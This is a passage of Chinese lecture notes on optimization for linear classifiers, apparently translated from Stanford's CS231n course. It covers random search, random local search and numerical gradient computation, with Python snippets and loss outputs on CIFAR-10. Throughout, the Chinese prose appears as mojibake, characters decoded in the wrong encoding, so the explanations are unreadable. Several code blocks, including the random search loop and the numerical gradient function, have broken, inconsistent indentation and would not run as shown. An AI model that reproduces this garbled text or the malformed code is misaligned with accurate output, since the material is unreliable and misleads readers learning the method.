ๆ–ฏๅฆ็ฆๅคงๅญฆๅ…ณไบŽ๏ผˆ[ๅ‡ธๅ‡ฝๆ•ฐๆœ€ไผ˜ๅŒ–](http://link.zhihu.com/?target=http%3A//stanford.edu/%7Eboyd/cvxbook/)๏ผ‰็š„่ฏพ็จ‹ใ€‚ไฝ†ๆ˜ฏไธ€ๆ—ฆๆˆ‘ไปฌๅฐ†$f$ๅ‡ฝๆ•ฐๆ‰ฉๅฑ•ๅˆฐ็ฅž็ป็ฝ‘็ปœ๏ผŒ็›ฎๆ ‡ๅ‡ฝๆ•ฐๅฐฑไธๅ†ๆ˜ฏๅ‡ธๅ‡ฝๆ•ฐไบ†๏ผŒๅ›พๅƒไนŸไธไผšๅƒไธŠ้ข้‚ฃๆ ทๆ˜ฏไธช็ข—็Šถ๏ผŒ่€Œๆ˜ฏๅ‡นๅ‡ธไธๅนณ็š„ๅคๆ‚ๅœฐๅฝขๅฝข็Šถใ€‚\n\n*ไธๅฏๅฏผ็š„ๆŸๅคฑๅ‡ฝๆ•ฐใ€‚*ไฝœไธบไธ€ไธชๆŠ€ๆœฏ็ฌ”่ฎฐ๏ผŒไฝ ่ฆๆณจๆ„ๅˆฐ๏ผš็”ฑไบŽmaxๆ“ไฝœ๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐไธญๅญ˜ๅœจไธ€ไบ›*ไธๅฏๅฏผ็‚น๏ผˆkinks๏ผ‰๏ผŒ*่ฟ™ไบ›็‚นไฝฟๅพ—ๆŸๅคฑๅ‡ฝๆ•ฐไธๅฏๅพฎ๏ผŒๅ› ไธบๅœจ่ฟ™ไบ›ไธๅฏๅฏผ็‚น๏ผŒๆขฏๅบฆๆ˜ฏๆฒกๆœ‰ๅฎšไน‰็š„ใ€‚ไฝ†ๆ˜ฏ[ๆฌกๆขฏๅบฆ๏ผˆsubgradient๏ผ‰](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Subderivative)ไพ็„ถๅญ˜ๅœจไธ”ๅธธๅธธ่ขซไฝฟ็”จใ€‚ๅœจๆœฌ่ฏพไธญ๏ผŒๆˆ‘ไปฌๅฐ†ไบคๆขไฝฟ็”จ*ๆฌกๆขฏๅบฆ*ๅ’Œ*ๆขฏๅบฆ*ไธคไธชๆœฏ่ฏญใ€‚\n\n\n\n## ๆœ€ไผ˜ๅŒ– Optimization\n\n้‡็”ณไธ€ไธ‹๏ผšๆŸๅคฑๅ‡ฝๆ•ฐๅฏไปฅ้‡ๅŒ–ๆŸไธชๅ…ทไฝ“ๆƒ้‡้›†**W**็š„่ดจ้‡ใ€‚่€Œๆœ€ไผ˜ๅŒ–็š„็›ฎๆ ‡ๅฐฑๆ˜ฏๆ‰พๅˆฐ่ƒฝๅคŸๆœ€ๅฐๅŒ–ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผ็š„**W** ใ€‚ๆˆ‘ไปฌ็Žฐๅœจๅฐฑๆœ็€่ฟ™ไธช็›ฎๆ ‡ๅ‰่ฟ›๏ผŒๅฎž็Žฐไธ€ไธช่ƒฝๅคŸๆœ€ไผ˜ๅŒ–ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆ–นๆณ•ใ€‚ๅฏนไบŽๆœ‰ไธ€ไบ›็ป้ชŒ็š„ๅŒๅญฆ๏ผŒ่ฟ™่Š‚่ฏพ็œ‹่ตทๆฅๆœ‰็‚นๅฅ‡ๆ€ช๏ผŒๅ› ไธบไฝฟ็”จ็š„ไพ‹ๅญ๏ผˆSVM ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผ‰ๆ˜ฏไธ€ไธชๅ‡ธๅ‡ฝๆ•ฐ้—ฎ้ข˜ใ€‚ไฝ†ๆ˜ฏ่ฆ่ฎฐๅพ—๏ผŒๆœ€็ปˆ็š„็›ฎๆ ‡ๆ˜ฏไธไป…ไป…ๅฏนๅ‡ธๅ‡ฝๆ•ฐๅšๆœ€ไผ˜ๅŒ–๏ผŒ่€Œๆ˜ฏ่ƒฝๅคŸๆœ€ไผ˜ๅŒ–ไธ€ไธช็ฅž็ป็ฝ‘็ปœ๏ผŒ่€Œ<u>ๅฏนไบŽ็ฅž็ป็ฝ‘็ปœๆ˜ฏไธ่ƒฝ็ฎ€ๅ•็š„ไฝฟ็”จๅ‡ธๅ‡ฝๆ•ฐ็š„ๆœ€ไผ˜ๅŒ–ๆŠ€ๅทง็š„</u>ใ€‚\n\n**็ญ–็•ฅ#1๏ผšไธ€ไธชๅทฎๅŠฒ็š„ๅˆๅง‹ๆ–นๆกˆ๏ผš้šๆœบๆœ็ดข**\n\nๆ—ข็„ถ็กฎ่ฎคๅ‚ๆ•ฐ้›†**W**็š„ๅฅฝๅ่›ฎ็ฎ€ๅ•็š„๏ผŒ้‚ฃ็ฌฌไธ€ไธชๆƒณๅˆฐ็š„๏ผˆๅทฎๅŠฒ๏ผ‰ๆ–นๆณ•๏ผŒๅฐฑๆ˜ฏๅฏไปฅ้šๆœบๅฐ่ฏ•ๅพˆๅคšไธๅŒ็š„ๆƒ้‡๏ผŒ็„ถๅŽ็œ‹ๅ…ถไธญๅ“ชไธชๆœ€ๅฅฝใ€‚่ฟ‡็จ‹ๅฆ‚ไธ‹๏ผš\n\n```python\n# ๅ‡่ฎพX_train็š„ๆฏไธ€ๅˆ—้ƒฝๆ˜ฏไธ€ไธชๆ•ฐๆฎๆ ทๆœฌ๏ผˆๆฏ”ๅฆ‚3073 x 50000๏ผ‰\n# ๅ‡่ฎพY_trainๆ˜ฏๆ•ฐๆฎๆ ทๆœฌ็š„็ฑปๅˆซๆ ‡็ญพ๏ผˆๆฏ”ๅฆ‚ไธ€ไธช้•ฟ50000็š„ไธ€็ปดๆ•ฐ็ป„๏ผ‰\n# ๅ‡่ฎพๅ‡ฝๆ•ฐLๅฏนๆŸๅคฑๅ‡ฝๆ•ฐ่ฟ›่กŒ่ฏ„ไปท\n\nbestloss = float(\"inf\") # Python assigns the highest possible float value\nfor num in xrange(1000):\n\tW = np.random.randn(10, 3073) * 0.0001 # generate random parameters\n\tloss = L(X_train, Y_train, W) # get the loss over the entire training set\n\t\tif loss < bestloss: # keep track of the best solution\n\t\t\tbestloss = loss\n bestW = W\n \tprint 'in attempt %d the loss was %f, best %f' % (num, loss, bestloss)\n\n# ่พ“ๅ‡บ:\n# in attempt 0 the loss was 9.401632, best 9.401632\n# in attempt 1 the loss was 8.959668, best 8.959668\n# in attempt 2 the loss was 9.044034, best 8.959668\n# in attempt 3 the loss was 9.278948, best 8.959668\n# in attempt 4 the loss was 8.857370, best 8.857370\n# in attempt 5 the loss was 8.943151, best 8.857370\n# in attempt 6 the loss was 8.605604, best 8.605604\n# ... (trunctated: continues for 1000 lines)\n```\n\nๅœจไธŠ้ข็š„ไปฃ็ ไธญ๏ผŒๆˆ‘ไปฌๅฐ่ฏ•ไบ†่‹ฅๅนฒ้šๆœบ็”Ÿๆˆ็š„ๆƒ้‡็Ÿฉ้˜ต**W**๏ผŒๅ…ถไธญๆŸไบ›็š„ๆŸๅคฑๅ€ผ่พƒๅฐ๏ผŒ่€Œๅฆไธ€ไบ›็š„ๆŸๅคฑๅ€ผๅคงไบ›ใ€‚ๆˆ‘ไปฌๅฏไปฅๆŠŠ่ฟ™ๆฌก้šๆœบๆœ็ดขไธญๆ‰พๅˆฐ็š„ๆœ€ๅฅฝ็š„ๆƒ้‡**W**ๅ–ๅ‡บ๏ผŒ็„ถๅŽๅŽป่ท‘ๆต‹่ฏ•้›†๏ผš\n\n```python\n# ๅ‡่ฎพX_testๅฐบๅฏธๆ˜ฏ[3073 x 10000], Y_testๅฐบๅฏธๆ˜ฏ[10000 x 1]\nscores = Wbest.dot(Xte_cols) # 10 x 10000, the class scores for all test examples\n# ๆ‰พๅˆฐๅœจๆฏๅˆ—ไธญ่ฏ„ๅˆ†ๅ€ผๆœ€ๅคง็š„็ดขๅผ•๏ผˆๅณ้ข„ๆต‹็š„ๅˆ†็ฑป๏ผ‰\nYte_predict = np.argmax(scores, axis = 0)\n# ไปฅๅŠ่ฎก็ฎ—ๅ‡†็กฎ็Ž‡\nnp.mean(Yte_predict == Yte)\n# ่ฟ”ๅ›ž 0.1555\n```\n\n้ชŒ่ฏ้›†ไธŠ่กจ็Žฐๆœ€ๅฅฝ็š„ๆƒ้‡**W**่ท‘ๆต‹่ฏ•้›†็š„ๅ‡†็กฎ็Ž‡ๆ˜ฏ**15.5%๏ผŒ**่€ŒๅฎŒๅ…จ้šๆœบ็Œœ็š„ๅ‡†็กฎ็Ž‡ๆ˜ฏ10%๏ผŒๅฆ‚ๆญค็œ‹ๆฅ๏ผŒ่ฟ™ไธชๅ‡†็กฎ็Ž‡ๅฏนไบŽ่ฟ™ๆ ทไธ€ไธชไธ็ป่ฟ‡ๅคง่„‘็š„็ญ–็•ฅๆฅ่ฏด๏ผŒ่ฟ˜็ฎ—ไธ้”™ๅ˜›๏ผ\n\n**ๆ ธๅฟƒๆ€่ทฏ๏ผš่ฟญไปฃไผ˜ๅŒ–**ใ€‚ๅฝ“็„ถ๏ผŒๆˆ‘ไปฌ่‚ฏๅฎš่ƒฝๅšๅพ—ๆ›ดๅฅฝไบ›ใ€‚ๆ ธๅฟƒๆ€่ทฏๆ˜ฏ๏ผš่™ฝ็„ถๆ‰พๅˆฐๆœ€ไผ˜็š„ๆƒ้‡**W**้žๅธธๅ›ฐ้šพ๏ผŒ็”š่‡ณๆ˜ฏไธๅฏ่ƒฝ็š„๏ผˆๅฐคๅ…ถๅฝ“**W**ไธญๅญ˜็š„ๆ˜ฏๆ•ดไธช็ฅž็ป็ฝ‘็ปœ็š„ๆƒ้‡็š„ๆ—ถๅ€™๏ผ‰๏ผŒไฝ†ๅฆ‚ๆžœ้—ฎ้ข˜่ฝฌๅŒ–ไธบ๏ผšๅฏนไธ€ไธชๆƒ้‡็Ÿฉ้˜ต้›†**W**ๅ–ไผ˜๏ผŒไฝฟๅ…ถๆŸๅคฑๅ€ผ็จๅพฎๅ‡ๅฐ‘ใ€‚้‚ฃไนˆ้—ฎ้ข˜็š„้šพๅบฆๅฐฑๅคงๅคง้™ไฝŽไบ†ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๆˆ‘ไปฌ็š„ๆ–นๆณ•ไปŽไธ€ไธช้šๆœบ็š„**W**ๅผ€ๅง‹๏ผŒ็„ถๅŽๅฏนๅ…ถ่ฟญไปฃๅ–ไผ˜๏ผŒๆฏๆฌก้ƒฝ่ฎฉๅฎƒ็š„ๆŸๅคฑๅ€ผๅ˜ๅพ—ๆ›ดๅฐไธ€็‚นใ€‚\n\n> ๆˆ‘ไปฌ็š„็ญ–็•ฅๆ˜ฏไปŽ้šๆœบๆƒ้‡ๅผ€ๅง‹๏ผŒ็„ถๅŽ่ฟญไปฃๅ–ไผ˜๏ผŒไปŽ่€Œ่Žทๅพ—ๆ›ดไฝŽ็š„ๆŸๅคฑๅ€ผใ€‚\n\n**่’™็œผๅพ’ๆญฅ่€…็š„ๆฏ”ๅ–ป**๏ผšไธ€ไธชๅŠฉไบŽ็†่งฃ็š„ๆฏ”ๅ–ปๆ˜ฏๆŠŠไฝ ่‡ชๅทฑๆƒณ่ฑกๆˆไธ€ไธช่’™็€็œผ็›็š„ๅพ’ๆญฅ่€…๏ผŒๆญฃ่ตฐๅœจๅฑฑๅœฐๅœฐๅฝขไธŠ๏ผŒ็›ฎๆ ‡ๆ˜ฏ่ฆๆ…ขๆ…ข่ตฐๅˆฐๅฑฑๅบ•ใ€‚ๅœจCIFAR-10็š„ไพ‹ๅญไธญ๏ผŒ่ฟ™ๅฑฑๆ˜ฏ30730็ปด็š„๏ผˆๅ› ไธบ**W**ๆ˜ฏ3073x10๏ผ‰ใ€‚ๆˆ‘ไปฌๅœจๅฑฑไธŠ่ธฉ็š„ๆฏไธ€็‚น้ƒฝๅฏนๅบ”ไธ€ไธช็š„ๆŸๅคฑๅ€ผ๏ผŒ่ฏฅๆŸๅคฑๅ€ผๅฏไปฅ็œ‹ๅš่ฏฅ็‚น็š„ๆตทๆ‹”้ซ˜ๅบฆใ€‚\n\n\n\n**็ญ–็•ฅ#2๏ผš้šๆœบๆœฌๅœฐๆœ็ดข**\n\n็ฌฌไธ€ไธช็ญ–็•ฅๅฏไปฅ็œ‹ๅšๆ˜ฏๆฏ่ตฐไธ€ๆญฅ้ƒฝๅฐ่ฏ•ๅ‡ ไธช้šๆœบๆ–นๅ‘๏ผŒๅฆ‚ๆžœๆŸไธชๆ–นๅ‘ๆ˜ฏๅ‘ๅฑฑไธ‹็š„๏ผŒๅฐฑๅ‘่ฏฅๆ–นๅ‘่ตฐไธ€ๆญฅใ€‚่ฟ™ๆฌกๆˆ‘ไปฌไปŽไธ€ไธช้šๆœบ$W$ๅผ€ๅง‹๏ผŒ็„ถๅŽ็”Ÿๆˆไธ€ไธช้šๆœบ็š„ๆ‰ฐๅŠจ$\\delta W$ ๏ผŒๅชๆœ‰ๅฝ“$W+\\delta W$็š„ๆŸๅคฑๅ€ผๅ˜ไฝŽ๏ผŒๆˆ‘ไปฌๆ‰ไผšๆ›ดๆ–ฐใ€‚่ฟ™ไธช่ฟ‡็จ‹็š„ๅ…ทไฝ“ไปฃ็ ๅฆ‚ไธ‹๏ผš\n\n```python\nW = np.random.randn(10, 3073) * 0.001 # ็”Ÿๆˆ้šๆœบๅˆๅง‹W\nbestloss = float(\"inf\")\nfor i in xrange(1000):\n\tstep_size = 0.0001\n\tWtry = W + np.random.randn(10, 3073) * step_size\n \tloss = L(Xtr_cols, Ytr, Wtry)\n \tif loss < bestloss:\n \tW = Wtry\n \tbestloss = loss\n\tprint 'iter %d loss is %f' % (i, bestloss)\n```\n\nไฝฟ็”จๅŒๆ ท็š„ๆ•ฐๆฎ๏ผˆ1000๏ผ‰๏ผŒ่ฟ™ไธชๆ–นๆณ•ๅฏไปฅๅพ—ๅˆฐ**21.4%**็š„ๅˆ†็ฑปๅ‡†็กฎ็Ž‡ใ€‚่ฟ™ไธชๆฏ”็ญ–็•ฅไธ€ๅฅฝ๏ผŒไฝ†ๆ˜ฏไพ็„ถ่ฟ‡ไบŽๆตช่ดน่ฎก็ฎ—่ต„ๆบใ€‚\n\n**็ญ–็•ฅ#3๏ผš่ทŸ้šๆขฏๅบฆ**\n\nๅ‰ไธคไธช็ญ–็•ฅไธญ๏ผŒๆˆ‘ไปฌๆ˜ฏๅฐ่ฏ•ๅœจๆƒ้‡็ฉบ้—ดไธญๆ‰พๅˆฐไธ€ไธชๆ–นๅ‘๏ผŒๆฒฟ็€่ฏฅๆ–นๅ‘่ƒฝ้™ไฝŽๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆŸๅคฑๅ€ผใ€‚ๅ…ถๅฎžไธ้œ€่ฆ้šๆœบๅฏปๆ‰พๆ–นๅ‘๏ผŒๅ› ไธบๅฏไปฅ็›ดๆŽฅ่ฎก็ฎ—ๅ‡บๆœ€ๅฅฝ็š„ๆ–นๅ‘๏ผŒ่ฟ™ๅฐฑๆ˜ฏไปŽๆ•ฐๅญฆไธŠ่ฎก็ฎ—ๅ‡บๆœ€้™กๅณญ็š„ๆ–นๅ‘ใ€‚่ฟ™ไธชๆ–นๅ‘ๅฐฑๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ็š„**ๆขฏๅบฆ๏ผˆgradient๏ผ‰**ใ€‚ๅœจ่’™็œผๅพ’ๆญฅ่€…็š„ๆฏ”ๅ–ปไธญ๏ผŒ่ฟ™ไธชๆ–นๆณ•ๅฐฑๅฅฝๆฏ”ๆ˜ฏๆ„Ÿๅ—ๆˆ‘ไปฌ่„šไธ‹ๅฑฑไฝ“็š„ๅ€พๆ–œ็จ‹ๅบฆ๏ผŒ็„ถๅŽๅ‘็€ๆœ€้™กๅณญ็š„ไธ‹้™ๆ–นๅ‘ไธ‹ๅฑฑใ€‚\n\nๅœจไธ€็ปดๅ‡ฝๆ•ฐไธญ๏ผŒๆ–œ็Ž‡ๆ˜ฏๅ‡ฝๆ•ฐๅœจๆŸไธ€็‚น็š„็žฌๆ—ถๅ˜ๅŒ–็Ž‡ใ€‚ๆขฏๅบฆๆ˜ฏๅ‡ฝๆ•ฐ็š„ๆ–œ็Ž‡็š„ไธ€่ˆฌๅŒ–่กจ่พพ๏ผŒๅฎƒไธๆ˜ฏไธ€ไธชๅ€ผ๏ผŒ่€Œๆ˜ฏไธ€ไธชๅ‘้‡ใ€‚ๅœจ่พ“ๅ…ฅ็ฉบ้—ดไธญ๏ผŒๆขฏๅบฆๆ˜ฏๅ„ไธช็ปดๅบฆ็š„ๆ–œ็Ž‡็ป„ๆˆ็š„ๅ‘้‡๏ผˆๆˆ–่€…็งฐไธบๅฏผๆ•ฐ**derivatives**๏ผ‰ใ€‚ๅฏนไธ€็ปดๅ‡ฝๆ•ฐ็š„ๆฑ‚ๅฏผๅ…ฌๅผๅฆ‚ไธ‹๏ผš\n$$\n\\frac{df(x)}{dx}=\\lim_{h\\rightarrow0}\\frac{f(x+h)-f(x)}{h}\n$$\nๅฝ“ๅ‡ฝๆ•ฐๆœ‰ๅคšไธชๅ‚ๆ•ฐ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌ็งฐๅฏผๆ•ฐไธบๅๅฏผๆ•ฐใ€‚่€Œๆขฏๅบฆๅฐฑๆ˜ฏๅœจๆฏไธช็ปดๅบฆไธŠๅๅฏผๆ•ฐๆ‰€ๅฝขๆˆ็š„ๅ‘้‡ใ€‚\n\n\n\n## ๆขฏๅบฆ่ฎก็ฎ—\n\n่ฎก็ฎ—ๆขฏๅบฆๆœ‰ไธค็งๆ–นๆณ•๏ผšไธ€ไธชๆ˜ฏ็ผ“ๆ…ข็š„่ฟ‘ไผผๆ–นๆณ•๏ผˆ**ๆ•ฐๅ€ผๆขฏๅบฆๆณ•**๏ผ‰๏ผŒไฝ†ๅฎž็Žฐ็›ธๅฏน็ฎ€ๅ•ใ€‚ๅฆไธ€ไธชๆ–นๆณ•๏ผˆ**ๅˆ†ๆžๆขฏๅบฆๆณ•**๏ผ‰่ฎก็ฎ—่ฟ…้€Ÿ๏ผŒ็ป“ๆžœ็ฒพ็กฎ๏ผŒไฝ†ๆ˜ฏๅฎž็Žฐๆ—ถๅฎนๆ˜“ๅ‡บ้”™๏ผŒไธ”้œ€่ฆไฝฟ็”จๅพฎๅˆ†ใ€‚็Žฐๅœจๅฏนไธค็งๆ–นๆณ•่ฟ›่กŒไป‹็ป๏ผš\n\n**ๅˆฉ็”จๆœ‰้™ๅทฎๅ€ผ่ฎก็ฎ—ๆขฏๅบฆ**\n\nไธŠ่Š‚ไธญ็š„ๅ…ฌๅผๅทฒ็ป็ป™ๅ‡บๆ•ฐๅ€ผ่ฎก็ฎ—ๆขฏๅบฆ็š„ๆ–นๆณ•ใ€‚ไธ‹้ขไปฃ็ ๆ˜ฏไธ€ไธช่พ“ๅ…ฅไธบๅ‡ฝๆ•ฐ**f**ๅ’Œๅ‘้‡**x๏ผŒ**่ฎก็ฎ—**f**็š„ๆขฏๅบฆ็š„้€š็”จๅ‡ฝๆ•ฐ๏ผŒๅฎƒ่ฟ”ๅ›žๅ‡ฝๆ•ฐ**f**ๅœจ็‚น**xๅค„**็š„ๆขฏๅบฆ๏ผš\n\n```python\ndef eval_numerical_gradient(f, x):\n \t\"\"\" \n \tไธ€ไธชfๅœจxๅค„็š„ๆ•ฐๅ€ผๆขฏๅบฆๆณ•็š„็ฎ€ๅ•ๅฎž็Žฐ\n \t- fๆ˜ฏๅชๆœ‰ไธ€ไธชๅ‚ๆ•ฐ็š„ๅ‡ฝๆ•ฐ\n \t- xๆ˜ฏ่ฎก็ฎ—ๆขฏๅบฆ็š„็‚น\n \t\"\"\" \n \n \tfx = f(x) # ๅœจๅŽŸ็‚น่ฎก็ฎ—ๅ‡ฝๆ•ฐๅ€ผ\n \tgrad = np.zeros(x.shape)\n \th = 0.00001\n\n \t# ๅฏนxไธญๆ‰€ๆœ‰็š„็ดขๅผ•่ฟ›่กŒ่ฟญไปฃ\n \tit = np.nditer(x, flags=['multi_index'], op_flags=['readwrite'])\n \twhile not it.finished:\n\n \t# ่ฎก็ฎ—x+hๅค„็š„ๅ‡ฝๆ•ฐๅ€ผ\n \tix = it.multi_index\n \told_value = x[ix]\n \tx[ix] = old_value + h # ๅขžๅŠ h\n \tfxh = f(x) # ่ฎก็ฎ—f(x + h)\n \tx[ix] = old_value # ๅญ˜ๅˆฐๅ‰ไธ€ไธชๅ€ผไธญ (้žๅธธ้‡่ฆ)\n\n \t# ่ฎก็ฎ—ๅๅฏผๆ•ฐ\n \tgrad[ix] = (fxh - fx) / h # ๅกๅบฆ\n \tit.iternext() # ๅˆฐไธ‹ไธช็ปดๅบฆ\n\n\treturn grad\n\n# REF:http://blog.csdn.net/hearthougan/article/details/71281040\n```\n\nๆ นๆฎไธŠ้ข็š„ๆขฏๅบฆๅ…ฌๅผ๏ผŒไปฃ็ ๅฏนๆ‰€ๆœ‰็ปดๅบฆ่ฟ›่กŒ่ฟญไปฃ๏ผŒๅœจๆฏไธช็ปดๅบฆไธŠไบง็”Ÿไธ€ไธชๅพˆๅฐ็š„ๅ˜ๅŒ–h๏ผŒ้€š่ฟ‡่ง‚ๅฏŸๅ‡ฝๆ•ฐๅ€ผๅ˜ๅŒ–๏ผŒ่ฎก็ฎ—ๅ‡ฝๆ•ฐๅœจ่ฏฅ็ปดๅบฆไธŠ็š„ๅๅฏผๆ•ฐใ€‚ๆœ€ๅŽ๏ผŒๆ‰€ๆœ‰็š„ๆขฏๅบฆๅญ˜ๅ‚จๅœจๅ˜้‡**grad**ไธญใ€‚\n\n**ๅฎž่ทต่€ƒ้‡**๏ผšๆณจๆ„ๅœจๆ•ฐๅญฆๅ…ฌๅผไธญ๏ผŒ**h**็š„ๅ–ๅ€ผๆ˜ฏ่ถ‹่ฟ‘ไบŽ0็š„๏ผŒ็„ถ่€Œๅœจๅฎž้™…ไธญ๏ผŒ็”จไธ€ไธชๅพˆๅฐ็š„ๆ•ฐๅ€ผ๏ผˆๆฏ”ๅฆ‚ไพ‹ๅญไธญ็š„1e-5๏ผ‰ๅฐฑ่ถณๅคŸไบ†ใ€‚ๅœจไธไบง็”Ÿๆ•ฐๅ€ผ่ฎก็ฎ—ๅ‡บ้”™็š„็†ๆƒณๅ‰ๆไธ‹๏ผŒไฝ ไผšไฝฟ็”จๅฐฝๅฏ่ƒฝๅฐ็š„hใ€‚่ฟ˜ๆœ‰๏ผŒๅฎž้™…ไธญ็”จ**ไธญๅฟƒๅทฎๅ€ผๅ…ฌๅผ๏ผˆcentered difference formula๏ผ‰**$[f(x+h)-f(x-h)]/2h$ๆ•ˆๆžœ่พƒๅฅฝใ€‚็ป†่Š‚ๅฏๆŸฅ็œ‹[wiki](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Numerical_differentiation)ใ€‚\n\nๅฏไปฅไฝฟ็”จไธŠ้ข่ฟ™ไธชๅ…ฌๅผๆฅ่ฎก็ฎ—ไปปๆ„ๅ‡ฝๆ•ฐๅœจไปปๆ„็‚นไธŠ็š„ๆขฏๅบฆใ€‚ไธ‹้ข่ฎก็ฎ—ๆƒ้‡็ฉบ้—ดไธญ็š„ๆŸไบ›้šๆœบ็‚นไธŠ๏ผŒCIFAR-10ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆ๏ผš\n\n```python\n# ่ฆไฝฟ็”จไธŠ้ข็š„ไปฃ็ ๆˆ‘ไปฌ้œ€่ฆไธ€ไธชๅชๆœ‰ไธ€ไธชๅ‚ๆ•ฐ็š„ๅ‡ฝๆ•ฐ\n# (ๅœจ่ฟ™้‡Œๅ‚ๆ•ฐๅฐฑๆ˜ฏๆƒ้‡)ๆ‰€ไปฅไนŸๅŒ…ๅซไบ†X_trainๅ’ŒY_train\ndef CIFAR10_loss_fun(W):\n\treturn L(X_train, Y_train, W)\n\nW = np.random.rand(10, 3073) * 0.001 # ้šๆœบๆƒ้‡ๅ‘้‡\ndf = eval_numerical_gradient(CIFAR10_loss_fun, W) # ๅพ—ๅˆฐๆขฏๅบฆ\n```\n\nๆขฏๅบฆๅ‘Š่ฏ‰ๆˆ‘ไปฌๆŸๅคฑๅ‡ฝๆ•ฐๅœจๆฏไธช็ปดๅบฆไธŠ็š„ๆ–œ็Ž‡๏ผŒไปฅๆญคๆฅ่ฟ›่กŒๆ›ดๆ–ฐ๏ผš\n\n```python\nloss_original = CIFAR10_loss_fun(W) # ๅˆๅง‹ๆŸๅคฑๅ€ผ\nprint 'original loss: %f' % (loss_original, )\n\n# ๆŸฅ็œ‹ไธๅŒๆญฅ้•ฟ็š„ๆ•ˆๆžœ\nfor step_size_log in [-10, -9, -8, -7, -6, -5,-4,-3,-2,-1]:\n step_size = 10 ** step_size_log\n \tW_new = W - step_size * df # ๆƒ้‡็ฉบ้—ดไธญ็š„ๆ–ฐไฝ็ฝฎ\n \tloss_new = CIFAR10_loss_fun(W_new)\n \tprint 'for step size %f new loss: %f' % (step_size, loss_new)\n\n# ่พ“ๅ‡บ:\n# original loss: 2.200718\n# for step size 1.000000e-10 new loss: 2.200652\n# for step size 1.000000e-09 new loss: 2.200057\n# for step size 1.000000e-08 new loss: 2.194116\n# for step size 1.000000e-07 new loss: 2.135493\n# for step size 1.000000e-06 new loss: 1.647802\n# for step size 1.000000e-05 new loss: 2.844355\n# for step size 1.000000e-04 new loss: 25.558142\n# for step size 1.000000e-03 new loss: 254.086573\n# for step size 1.000000e-02 new loss: 2539.370888\n# for step size 1.000000e-01 new loss: 25392.214036\n```\n\n**ๅœจๆขฏๅบฆ่ดŸๆ–นๅ‘ไธŠๆ›ดๆ–ฐ**๏ผšๅœจไธŠ้ข็š„ไปฃ็ ไธญ๏ผŒไธบไบ†่ฎก็ฎ—**W_new**๏ผŒ่ฆๆณจๆ„ๆˆ‘ไปฌๆ˜ฏๅ‘็€ๆขฏๅบฆ**df**็š„่ดŸๆ–นๅ‘ๅŽปๆ›ดๆ–ฐ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๆˆ‘ไปฌๅธŒๆœ›ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผๆ˜ฏ้™ไฝŽ่€Œไธๆ˜ฏๅ‡้ซ˜ใ€‚\n\n**ๆญฅ้•ฟ็š„ๅฝฑๅ“**๏ผšๆขฏๅบฆๆŒ‡ๆ˜Žไบ†ๅ‡ฝๆ•ฐๅœจๅ“ชไธชๆ–นๅ‘ๆ˜ฏๅ˜ๅŒ–็Ž‡ๆœ€ๅคง็š„๏ผŒไฝ†ๆ˜ฏๆฒกๆœ‰ๆŒ‡ๆ˜Žๅœจ่ฟ™ไธชๆ–นๅ‘ไธŠๅบ”่ฏฅ่ตฐๅคš่ฟœใ€‚ๅœจๅŽ็ปญ็š„่ฏพ็จ‹ไธญๅฏไปฅ็œ‹ๅˆฐ๏ผŒ้€‰ๆ‹ฉๆญฅ้•ฟ๏ผˆไนŸๅซไฝœ*ๅญฆไน ็Ž‡*๏ผ‰ๅฐ†ไผšๆ˜ฏ็ฅž็ป็ฝ‘็ปœ่ฎญ็ปƒไธญๆœ€้‡่ฆ๏ผˆไนŸๆ˜ฏๆœ€ๅคด็—›๏ผ‰็š„่ถ…ๅ‚ๆ•ฐ่ฎพๅฎšไน‹ไธ€ใ€‚่ฟ˜ๆ˜ฏ็”จ่’™็œผๅพ’ๆญฅ่€…ไธ‹ๅฑฑ็š„ๆฏ”ๅ–ป๏ผŒ่ฟ™ๅฐฑๅฅฝๆฏ”ๆˆ‘ไปฌๅฏไปฅๆ„Ÿ่ง‰ๅˆฐ่„šๆœๅ‘็š„ไธๅŒๆ–นๅ‘ไธŠ๏ผŒๅœฐๅฝข็š„ๅ€พๆ–œ็จ‹ๅบฆไธๅŒใ€‚ไฝ†ๆ˜ฏ่ฏฅ่ทจๅ‡บๅคš้•ฟ็š„ๆญฅ้•ฟๅ‘ข๏ผŸไธ็กฎๅฎšใ€‚ๅฆ‚ๆžœ่ฐจๆ…Žๅœฐๅฐๆญฅ่ตฐ๏ผŒๆƒ…ๅ†ตๅฏ่ƒฝๆฏ”่พƒ็จณๅฎšไฝ†ๆ˜ฏ่ฟ›ๅฑ•่พƒๆ…ข๏ผˆ่ฟ™ๅฐฑๆ˜ฏๆญฅ้•ฟ่พƒๅฐ็š„ๆƒ…ๅ†ต๏ผ‰ใ€‚็›ธๅ๏ผŒๅฆ‚ๆžœๆƒณๅฐฝๅฟซไธ‹ๅฑฑ๏ผŒ้‚ฃๅฐฑๅคงๆญฅ่ตฐๅง๏ผŒไฝ†็ป“ๆžœไนŸไธไธ€ๅฎšๅฐฝๅฆ‚ไบบๆ„ใ€‚ๅœจไธŠ้ข็š„ไปฃ็ 